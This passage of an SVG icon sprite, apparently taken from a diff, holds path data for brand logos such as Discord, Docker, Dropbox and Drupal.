31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z"></path> + </symbol> + <symbol id="d-and-d-beyond" viewBox="0 0 640 512"> + <path d="M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z"></path> + </symbol> + <symbol id="dailymotion" viewBox="0 0 448 512"> + <path d="M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z"></path> + </symbol> + <symbol id="dashcube" viewBox="0 0 448 512"> + <path d="M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z"></path> + </symbol> + <symbol id="deezer" viewBox="0 0 576 512"> + <path d="M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z"></path> + </symbol> + <symbol id="delicious" viewBox="0 0 448 512"> + <path d="M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z"></path> + </symbol> + <symbol id="deploydog" viewBox="0 0 512 512"> + <path d="M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z"></path> + </symbol> + <symbol id="deskpro" viewBox="0 0 480 512"> + <path d="M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z"></path> + </symbol> + <symbol id="dev" viewBox="0 0 448 512"> + <path d="M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z"></path> + </symbol> + <symbol id="deviantart" viewBox="0 0 320 512"> + <path d="M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z"></path> + </symbol> + <symbol id="dhl" viewBox="0 0 640 512"> + <path d="M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z"></path> + </symbol> + <symbol id="diaspora" viewBox="0 0 512 512"> + <path d="M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z"></path> + </symbol> + <symbol id="digg" viewBox="0 0 512 512"> + <path d="M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z"></path> + </symbol> + <symbol id="digital-ocean" viewBox="0 0 512 512"> + <path d="M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z"></path> + </symbol> + <symbol id="discord" viewBox="0 0 640 512"> + <path d="M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z"></path> + </symbol> + <symbol id="discourse" viewBox="0 0 448 512"> + <path d="M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z"></path> + </symbol> + <symbol id="dochub" viewBox="0 0 416 512"> + <path d="M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z"></path> + </symbol> + <symbol id="docker" viewBox="0 0 640 512"> + <path d="M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z"></path> + </symbol> + <symbol id="draft2digital" viewBox="0 0 480 512"> + <path d="M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z"></path> + </symbol> + <symbol id="dribbble" viewBox="0 0 512 512"> + <path d="M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z"></path> + </symbol> + <symbol id="dribbble-square" viewBox="0 0 448 512"> + <path d="M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z"></path> + </symbol> + <symbol id="dropbox" viewBox="0 0 528 512"> + <path d="M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z"></path> + </symbol> + <symbol id="drupal" viewBox="0 0 448 512"> + <path d="M319.5 114.7c-22.2-14-43.5-19.5-64.7-33.5-13-8.8-31.3-30-46.5-48.3-2.7 29.3-11.5 41.2-22 49.5-21.3 17-34.8 22.2-53.5 32.3C117 123 32 181.5 32 290.5 32 399.7 123.8 480 225.8 480 327.5 480 416 406 416 294c0-112.3-83-171-96.5-179.3zm2.5 325.6c-20.1 20.1-90.1 28.7-116.7 4.2-4.8-4.8.3-12 6.5-12 0 0 17 13.3 51.5 13.3 27 0 46-7.7 54.5-14 6.1-4.6 8.4 4.3 4.2 8.5zm-54.5-52.6c8.7-3.6 29-3.8 36.8 1.3 4.1 2.8 16.1 18.8 6.2 23.7-8.4 4.2-1.2-15.7-26.5-15.7-14.7 0-19.5 5.2-26.7 11-7 6-9.8 8-12.2 4.7-6-8.2 15.9-22.3 22.4-25zM360 405c-15.2-1-45.5-48.8-65-49.5-30.9-.9-104.1 80.7-161.3 42-38.8-26.6-14.6-104.8 51.8-105.2 49.5-.5 83.8 49 108.5 48.5 21.3-.3 61.8-41.8 81.8-41.8 48.7 0 23.3 109.3-15.8 106z"></path> + </symbol> + <symbol id="dyalog" viewBox="0 0 416 512"> + <path d="M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z"></path> + </symbol> + <symbol 